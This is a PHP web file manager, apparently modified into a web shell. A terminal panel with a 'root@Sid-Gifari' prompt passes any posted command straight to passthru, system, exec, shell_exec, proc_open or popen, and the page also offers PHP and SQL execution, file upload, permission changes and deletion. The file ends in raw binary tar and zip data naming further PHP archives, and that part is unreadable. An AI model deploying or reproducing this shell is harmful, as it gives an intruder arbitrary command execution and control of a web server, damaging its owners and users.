		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
